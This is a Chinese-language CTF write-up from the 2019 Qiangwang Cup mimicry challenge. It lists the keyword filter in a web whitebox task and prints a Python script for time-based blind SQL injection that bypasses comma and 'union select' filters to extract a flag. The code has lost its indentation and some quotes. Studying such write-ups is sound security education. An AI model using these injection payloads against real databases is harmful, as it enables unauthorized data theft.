2019強網杯擬態挑戰賽Writeup

在閱讀這篇技術文章之前，可以先看看當時的比賽現場....

老壇酸菜魚戰隊?

www.zhihu.com

作者：LoRexxar@知道創宇404實驗室

原文鏈接：https://paper.seebug.org/932/

上週有幸去南京參加了強網杯擬態挑戰賽，運氣比較好拿了第二名，只是可惜是最後8分鐘被爆了，差一點兒真是有點兒可惜。

有關於擬態的觀念我會在後面講防火牆黑盒攻擊的 writeup 時再詳細寫，拋開擬態不談，賽寧這次引入的比賽模式我覺得還蠻有趣的，白盒排位賽的排名決定你是不是能挑戰白盒擬態，這樣的多線並行挑戰考驗的除了你的實際水平，也給比賽本身平添了一些有趣的色彩（雖然我們是被這個設定坑了），雖然我還沒想到這種模式如何應用在普通的ctf賽場上，但起碼也是一個有趣的思路不是嗎。

Web 白盒

這題其實相對比賽中的其他題目來說，就顯得有些太簡單了，當時如果不是因為我們是第一輪挑戰白盒的隊伍，浪費了 30 分鐘時間，否則搶個前三血應該是沒啥問題。

簡單測試就發現，過濾了以下符號

, and & | or for sub % ^ ~

此外還有一些字元串的過濾

hex、substring、union select

還有一些躺槍的(因為有or)

information_schema

總結起來就是，未知表名、不能使用逗號、不能截斷的時間盲注。其實實際技巧沒什麼新意，已經是玩剩下的東西了，具體直接看 exp 吧

# coding=utf-8

import requests
import random
import hashlib
import time

s = requests.Session()
url=http://10.66.20.180:3002/article.php
tables_count_num = 0
strings = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@!#$%*().<>1234567890{}"

def get_content(url):

for i in xrange(50):
# payload = "1 and ((SELECT length(user) from admin limit 1)="+str(i)+") and (sleep(2))"
# payload = "(select case when ((SELECT length(t.2) from (select 1,2,3,4 union select * from flag) limit "+str(j)+") >"+str(i)+") then 0 else sleep(2) end)"
payload = "(select case when ((SELECT length(t.4) from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) ="+str(i)+") then sleep(2) else 0 end)"

if get_data(payload):
print "[*] content_length: "+str(i)
content_length = i
break

content = ""

tmp_content = ""

for i in range(1,content_length+1):
for k in strings:
tmp_content = content+str(k)
tmp_content = tmp_content.ljust(content_length,_)

# payload = "1 and (SELECT ascii(mid(((SELECT user from admin limit 1))from("+str(i)+")))="+str(k+1)+") and (sleep(2))"
payload = "(select case when ((SELECT t.4 from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) like "+tmp_content+") then sleep(2) else 0 end)"

# print payload
if get_data(payload):
content += k
print "[*] content: "+content
break

print "[*] content: " + content

def get_response(payload):

s = requests.Session()
username = "teststeststests1234"

s.post()

def get_data(payload):

u = url+?id=+payload
print u
otime = time.time()
# print u.replace( ,%20)

r = s.get(u)
rr = r.text
ptime = time.time()

if ptime-otime >2:
return True
else:
return False

get_content(url)

ezweb

這題覺得非常有意思，我喜歡這個出題思路，下面我們來一起整理下整個題目的思路。